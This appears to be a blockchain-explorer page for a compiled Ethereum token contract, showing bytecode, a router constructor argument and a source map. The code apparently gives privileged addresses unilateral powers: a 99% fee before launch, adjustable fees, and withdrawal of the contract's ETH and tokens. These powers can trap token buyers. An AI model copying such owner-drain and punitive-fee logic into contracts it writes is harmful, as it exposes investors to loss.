fffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611485338484611bfb565b905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061153657503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156c90612ff6565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc6115a3606484611b4d90919063ffffffff16565b476115ae9190613087565b9081150290604051600060405180830381858888f193505050501580156115d9573d6000803e3d6000fd5b505050565b60185481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806116b357503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6116f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e990612ff6565b60405180910390fd5b82601660006101000a81548160ff0219169083151502179055508160178190555080601881905550505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061187557503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6118b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ab90612ff6565b60405180910390fd5b80600f8190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461194c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194390613198565b60405180910390fd5b600060155403611962574360158190555061196b565b60006015819055505b565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f290613198565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a61906132d0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611b8f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fdf565b905092915050565b6000838311158290611bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd69190612b35565b60405180910390fd5b5060008385611bee91906132f0565b9050809150509392505050565b6000611c05612042565b8015611c5e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611c6c57611c6b612119565b5b60006298968083611c7d91906131e7565b9050600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d265750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611d3a578083611d3791906132f0565b92505b611dc3836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b979092919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611e128686612770565b611e1c5783611e78565b611e778685601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161461281e565b5b9050611ecc81600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8190919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f6c9190612a8a565b60405180910390a36001925050509392505050565b6000808284611f909190613324565b905083811015611fd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcc906133a4565b60405180910390fd5b8091505092915050565b60008083118290612026576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201d9190612b35565b60405180910390fd5b506000838561203591906131e7565b9050809150509392505050565b6000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156120af5750601960009054906101000a900460ff16155b80156120c75750601660009054906101000a900460ff165b80156121145750601754600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601960006101000a81548160ff0219169083151502179055506000601854600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156121895760185490506121cc565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b600061220a60026121fc600d546121ee600a54876129ad90919063ffffffff16565b611b4d90919063ffffffff16565b611b4d90919063ffffffff16565b905060006122218284612a2790919063ffffffff16565b90506000600267ffffffffffffffff8111156122405761223f6133c4565b5b60405190808252806020026020018201604052801561226e5781602001602082028036833780820191505090505b5090503081600081518110612286576122856133f3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561232d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123519190613437565b81600181518110612365576123646133f3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161240395949392919061355d565b600060405180830381600087803b15801561241d57600080fd5b505af1158015612431573d6000803e3d6000fd5b50505050600047905060006124666124556002600a54611b4d90919063ffffffff16565b600d54612a2790919063ffffffff16565b905060006124a4600261249684612488600a54886129ad90919063ffffffff16565b611b4d90919063ffffffff16565b611b4d90919063ffffffff16565b905060006124cf836124c1600b54876129ad90919063ffffffff16565b611b4d90919063ffffffff16565b905060006124fa846124ec600c54886129ad90919063ffffffff16565b611b4d90919063ffffffff16565b905060008083111561259a57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168361753090604051612550906135e8565b600060405180830381858888f193505050503d806000811461258e576040519150601f19603f3d011682016040523d82523d6000602084013e612593565b606091505b5050809150505b600082111561263757601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682617530906040516125ed906135e8565b600060405180830381858888f193505050503d806000811461262b576040519150601f19603f3d011682016040523d82523d6000602084013e612630565b606091505b5050809150505b600089111561274957601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308c600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016126c9969594939291906135fd565b60606040518083038185885af11580156126e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061270c919061365e565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506848a6040516127409291906136b1565b60405180910390a15b505050505050505050506000601960006101000a81548160ff021916908315150217905550565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128165750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b6000808261282d576064612831565b600f545b905060008060155411612845576063612849565b600d545b905060006128926064600e5461285f9190613087565b61288485612876868b6129ad90919063ffffffff16565b6129ad90919063ffffffff16565b611b4d90919063ffffffff16565b90506128e681600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8190919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516129869190612a8a565b60405180910390a36129a18187612a2790919063ffffffff16565b93505050509392505050565b60008083036129bf5760009050612a21565b600082846129cd9190613087565b90508284826129dc91906131e7565b14612a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a139061374c565b60405180910390fd5b809150505b92915050565b6000612a6983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b97565b905092915050565b6000819050919050565b612a8481612a71565b82525050565b6000602082019050612a9f6000830184612a7b565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612adf578082015181840152602081019050612ac4565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b0782612aa5565b612b118185612ab0565b9350612b21818560208601612ac1565b612b2a81612aeb565b840191505092915050565b60006020820190508181036000830152612b4f8184612afc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b8782612b5c565b9050919050565b612b9781612b7c565b8114612ba257600080fd5b50565b600081359050612bb481612b8e565b92915050565b612bc381612a71565b8114612bce57600080fd5b50565b600081359050612be081612bba565b92915050565b60008060408385031215612bfd57612bfc612b57565b5b6000612c0b85828601612ba5565b9250506020612c1c85828601612bd1565b9150509250929050565b60008115159050919050565b612c3b81612c26565b82525050565b6000602082019050612c566000830184612c32565b92915050565b600080600060608486031215612c7557612c74612b57565b5b6000612c8386828701612ba5565b9350506020612c9486828701612ba5565b9250506040612ca586828701612bd1565b9150509250925092565b600060ff82169050919050565b612cc581612caf565b82525050565b6000602082019050612ce06000830184612cbc565b92915050565b600060208284031215612cfc57612cfb612b57565b5b6000612d0a84828501612ba5565b91505092915050565b612d1c81612c26565b8114612d2757600080fd5b50565b600081359050612d3981612d13565b92915050565b60008060408385031215612d5657612d55612b57565b5b6000612d6485828601612ba5565b9250506020612d7585828601612d2a565b9150509250929050565b60008060008060808587031215612d9957612d98612b57565b5b6000612da787828801612bd1565b9450506020612db887828801612bd1565b9350506040612dc987828801612bd1565b9250506060612dda87828801612bd1565b91505092959194509250565b612def81612b7c565b82525050565b6000602082019050612e0a6000830184612de6565b92915050565b60008060408385031215612e2757612e26612b57565b5b6000612e3585828601612ba5565b9250506020612e4685828601612ba5565b9150509250929050565b600080600060608486031215612e6957612e68612b57565b5b6000612e7786828701612d2a565b9350506020612e8886828701612bd1565b9250506040612e9986828701612bd1565b9150509250925092565b600060208284031215612eb957612eb8612b57565b5b6000612ec784828501612bd1565b91505092915050565b6000819050919050565b6000612ef5612ef0612eeb84612b5c565b612ed0565b612b5c565b9050919050565b6000612f0782612eda565b9050919050565b6000612f1982612efc565b9050919050565b612f2981612f0e565b82525050565b6000602082019050612f446000830184612f20565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f9157607f821691505b602082108103612fa457612fa3612f4a565b5b50919050565b7f2146756e64657200000000000000000000000000000000000000000000000000600082015250565b6000612fe0600783612ab0565b9150612feb82612faa565b602082019050919050565b6000602082019050818103600083015261300f81612fd3565b9050919050565b60008151905061302581612bba565b92915050565b60006020828403121561304157613040612b57565b5b600061304f84828501613016565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061309282612a71565b915061309d83612a71565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130d6576130d5613058565b5b828202905092915050565b60006040820190506130f66000830185612de6565b6131036020830184612a7b565b9392505050565b60008151905061311981612d13565b92915050565b60006020828403121561313557613134612b57565b5b60006131438482850161310a565b91505092915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000613182600683612ab0565b915061318d8261314c565b602082019050919050565b600060208201905081810360008301526131b181613175565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006131f282612a71565b91506131fd83612a71565b92508261320d5761320c6131b8565b5b828204905092915050565b7f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000600082015250565b600061324e601c83612ab0565b915061325982613218565b602082019050919050565b6000602082019050818103600083015261327d81613241565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b60006132ba600883612ab0565b91506132c582613284565b602082019050919050565b600060208201905081810360008301526132e9816132ad565b9050919050565b60006132fb82612a71565b915061330683612a71565b925082820390508181111561331e5761331d613058565b5b92915050565b600061332f82612a71565b915061333a83612a71565b925082820190508082111561335257613351613058565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061338e601b83612ab0565b915061339982613358565b602082019050919050565b600060208201905081810360008301526133bd81613381565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061343181612b8e565b92915050565b60006020828403121561344d5761344c612b57565b5b600061345b84828501613422565b91505092915050565b6000819050919050565b600061348961348461347f84613464565b612ed0565b612a71565b9050919050565b6134998161346e565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6134d481612b7c565b82525050565b60006134e683836134cb565b60208301905092915050565b6000602082019050919050565b600061350a8261349f565b61351481856134aa565b935061351f836134bb565b8060005b8381101561355057815161353788826134da565b9750613542836134f2565b925050600181019050613523565b5085935050505092915050565b600060a0820190506135726000830188612a7b565b61357f6020830187613490565b818103604083015261359181866134ff565b90506135a06060830185612de6565b6135ad6080830184612a7b565b9695505050505050565b600081905092915050565b50565b60006135d26000836135b7565b91506135dd826135c2565b600082019050919050565b60006135f3826135c5565b9150819050919050565b600060c0820190506136126000830189612de6565b61361f6020830188612a7b565b61362c6040830187613490565b6136396060830186613490565b6136466080830185612de6565b61365360a0830184612a7b565b979650505050505050565b60008060006060848603121561367757613676612b57565b5b600061368586828701613016565b935050602061369686828701613016565b92505060406136a786828701613016565b9150509250925092565b60006040820190506136c66000830185612a7b565b6136d36020830184612a7b565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613736602183612ab0565b9150613741826136da565b604082019050919050565b6000602082019050818103600083015261376581613729565b905091905056fea2646970667358221220cf54039e837acde4419b28b9dac3fd816bc465dc113a1ca59e1d08e45f267a1164736f6c63430008100033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : routeraddr (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

4559:9717:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5719:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6758:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7194:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11937:323;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5364:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6488:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5288:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7712:368;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6582:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7418:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11553:120;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5682:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10844:425;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6844:105;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2689:148;;;;;;;;;;;;;:::i;:::-;;12268:166;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2503:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6668:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11277:268;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5618:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7548:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11685:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5780:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5455:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10280:317;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6955:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5498:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10076:196;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10642:194;;;;;;;;;;;;;:::i;:::-;;2845:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5579:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5719:54;;;;:::o;6758:80::-;6806:13;6830:5;6823:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6758:80;:::o;7194:216::-;7269:4;7321:6;7286:11;:23;7298:10;7286:23;;;;;;;;;;;;;;;:32;7310:7;7286:32;;;;;;;;;;;;;;;:41;;;;7364:7;7343:37;;7352:10;7343:37;;;7373:6;7343:37;;;;;;:::i;:::-;;;;;;;;7398:4;7391:11;;7194:216;;;;:::o;11937:323::-;12061:10;12037:34;;:20;;;;;;;;;;;:34;;;:55;;;;12082:10;12075:17;;:3;;;;;;;;;;;:17;;;12037:55;12029:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;12115:19;12143:5;12137:22;;;12168:4;12137:37;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12115:59;;12191:5;12185:21;;;12207:4;12226:25;12247:3;12226:16;:20;;:25;;;;:::i;:::-;12212:11;:39;;;;:::i;:::-;12185:67;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12018:242;11937:323;;;:::o;5364:36::-;;;;:::o;6488:88::-;6543:7;6561:12;;6554:19;;6488:88;:::o;5288:69::-;;;;:::o;7712:368::-;7812:4;7867:17;7832:11;:19;7844:6;7832:19;;;;;;;;;;;;;;;:31;7852:10;7832:31;;;;;;;;;;;;;;;;:52;7829:186;;7934:69;7970:6;7934:69;;;;;;;;;;;;;;;;;:11;:19;7946:6;7934:19;;;;;;;;;;;;;;;:31;7954:10;7934:31;;;;;;;;;;;;;;;;:35;;:69;;;;;:::i;:::-;7900:11;:19;7912:6;7900:19;;;;;;;;;;;;;;;:31;7920:10;7900:31;;;;;;;;;;;;;;;:103;;;;7829:186;8032:40;8046:6;8054:9;8065:6;8032:13;:40::i;:::-;8025:47;;7712:368;;;;;:::o;6582:80::-;6634:5;4743:1;6643:16;;6582:80;:::o;7418:122::-;7473:4;7497:35;7505:7;7514:17;7497:7;:35::i;:::-;7490:42;;7418:122;;;:::o;11553:120::-;2640:10;2630:20;;:6;;;;;;;;;;:20;;;2622:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11659:6:::1;11637:11;:19;11649:6;11637:19;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;11553:120:::0;;:::o;5682:30::-;;;;;;;;;;;;;:::o;10844:425::-;2640:10;2630:20;;:6;;;;;;;;;;:20;;;2622:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;10994:13:::1;10979:12;:28;;;;11033:13;11018:12;:28;;;;11066:7;11057:6;:16;;;;11095:44;11132:6;;11095:32;11113:13;11095;:17;;:32;;;;:::i;:::-;:36;;:44;;;;:::i;:::-;11084:8;:55;;;;11167:15;11150:14;:32;;;;11227:1;11212:14;;:16;;;;:::i;:::-;11201:8;;:27;11193:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10844:425:::0;;;;:::o;6844:105::-;6910:7;6928:9;:18;6938:7;6928:18;;;;;;;;;;;;;;;;6921:25;;6844:105;;;:::o;2689:148::-;2640:10;2630:20;;:6;;;;;;;;;;:20;;;2622:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;2796:1:::1;2759:40;;2780:6;::::0;::::1;;;;;;;;2759:40;;;;;;;;;;;;2827:1;2810:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2689:148::o:0;12268:166::-;12357:10;12333:34;;:20;;;;;;;;;;;:34;;;:55;;;;12378:10;12371:17;;:3;;;;;;;;;;;:17;;;12333:55;12325:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;12418:8;12411:4;;:15;;;;;;;;;;;;;;;;;;12268:166;:::o;2503:79::-;2541:7;2568:6;;;;;;;;;;;2561:13;;2503:79;:::o;6668:84::-;6718:13;6742:7;6735:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6668:84;:::o;11277:268::-;2640:10;2630:20;;:6;;;;;;;;;;:20;;;2622:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11420:22:::1;11396:21;;:46;;;;;;;;;;;;;;;;;;11476:21;11453:20;;:44;;;;;;;;;;;;;;;;;;11533:3;;;;;;;;;;;11508:14;;:29;;;;;;;;;;;;;;;;;;11277:268:::0;;:::o;5618:19::-;;;;;;;;;;;;;:::o;7548:156::-;7628:4;7652:44;7666:10;7678:9;7689:6;7652:13;:44::i;:::-;7645:51;;7548:156;;;;:::o;11685:244::-;11796:10;11772:34;;:20;;;;;;;;;;;:34;;;:55;;;;11817:10;11810:17;;:3;;;;;;;;;;;:17;;;11772:55;11764:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;11858:4;11850:22;;:71;11895:25;11916:3;11895:16;:20;;:25;;;;:::i;:::-;11873:21;:47;;;;:::i;:::-;11850:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11685:244;;:::o;5780:56::-;;;;:::o;5455:36::-;;;;;;;;;;;;;:::o;10280:317::-;10425:10;10401:34;;:20;;;;;;;;;;;:34;;;:55;;;;10446:10;10439:17;;:3;;;;;;;;;;;:17;;;10401:55;10393:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;10493:8;10479:11;;:22;;;;;;;;;;;;;;;;;;10528:14;10512:13;:30;;;;10572:17;10553:16;:36;;;;10280:317;;;:::o;6955:133::-;7039:7;7057:11;:19;7069:6;7057:19;;;;;;;;;;;;;;;:28;7077:7;7057:28;;;;;;;;;;;;;;;;7050:35;;6955:133;;;;:::o;5498:35::-;;;;;;;;;;;;;:::o;10076:196::-;10175:10;10151:34;;:20;;;;;;;;;;;:34;;;:55;;;;10196:10;10189:17;;:3;;;;;;;;;;;:17;;;10151:55;10143:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;10246:10;10229:14;:27;;;;10076:196;:::o;10642:194::-;2640:10;2630:20;;:6;;;;;;;;;;:20;;;2622:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;10714:1:::1;10697:13;;:18:::0;10694:125:::1;;10747:12;10731:13;:28;;;;10694:125;;;10806:1;10790:13;:17;;;;10694:125;10642:194::o:0;2845:214::-;2640:10;2630:20;;:6;;;;;;;;;;:20;;;2622:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;2954:1:::1;2934:22;;:8;:22;;::::0;2926:43:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3014:8;2985:38;;3006:6;::::0;::::1;;;;;;;;2985:38;;;;;;;;;;;;3043:8;3034:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2845:214:::0;:::o;5579:32::-;;;;;;;;;;;;;:::o;995:132::-;1053:7;1080:39;1084:1;1087;1080:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1073:46;;995:132;;;;:::o;547:190::-;633:7;666:1;661;:6;;669:12;653:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;693:9;709:1;705;:5;;;;:::i;:::-;693:17;;728:1;721:8;;;547:190;;;;;:::o;8088:747::-;8180:4;8228:16;:14;:16::i;:::-;:37;;;;;8261:4;;;;;;;;;;;8248:17;;:9;:17;;;8228:37;8225:54;;;8267:10;:8;:10::i;:::-;8225:54;8318:21;8351:8;8342:6;:17;;;;:::i;:::-;8318:41;;8374:11;:19;8386:6;8374:19;;;;;;;;;;;;;;;;;;;;;;;;;8373:20;:41;;;;;8410:4;;;;;;;;;;;8397:17;;:9;:17;;;8373:41;8370:95;;;8440:13;8430:23;;;;;:::i;:::-;;;8370:95;8495:53;8517:6;8495:53;;;;;;;;;;;;;;;;;:9;:17;8505:6;8495:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;8475:9;:17;8485:6;8475:17;;;;;;;;;;;;;;;:73;;;;8559:22;8584:31;8598:6;8605:9;8584:13;:31::i;:::-;:86;;8664:6;8584:86;;;8618:43;8626:6;8634;8655:4;;;;;;;;;;;8642:17;;:9;:17;;;8618:7;:43::i;:::-;8584:86;8559:111;;8704:40;8729:14;8704:9;:20;8714:9;8704:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;8681:9;:20;8691:9;8681:20;;;;;;;;;;;;;;;:63;;;;8779:9;8762:43;;8771:6;8762:43;;;8790:14;8762:43;;;;;;:::i;:::-;;;;;;;;8823:4;8816:11;;;;8088:747;;;;;:::o;220:179::-;278:7;298:9;314:1;310;:5;;;;:::i;:::-;298:17;;339:1;334;:6;;326:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;390:1;383:8;;;220:179;;;;:::o;1133:189::-;1219:7;1251:1;1247;:5;1254:12;1239:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1278:9;1294:1;1290;:5;;;;:::i;:::-;1278:17;;1313:1;1306:8;;;1133:189;;;;;:::o;9871:197::-;9920:4;9958;;;;;;;;;;;9944:18;;:10;:18;;;;:38;;;;;9976:6;;;;;;;;;;;9975:7;9944:38;:62;;;;;9995:11;;;;;;;;;;;9944:62;:116;;;;;10047:13;;10019:9;:24;10037:4;10019:24;;;;;;;;;;;;;;;;:41;;9944:116;9937:123;;9871:197;:::o;12442:1829::-;5894:4;5885:6;;:13;;;;;;;;;;;;;;;;;;12501:22:::1;12564:16;;12537:9;:24;12555:4;12537:24;;;;;;;;;;;;;;;;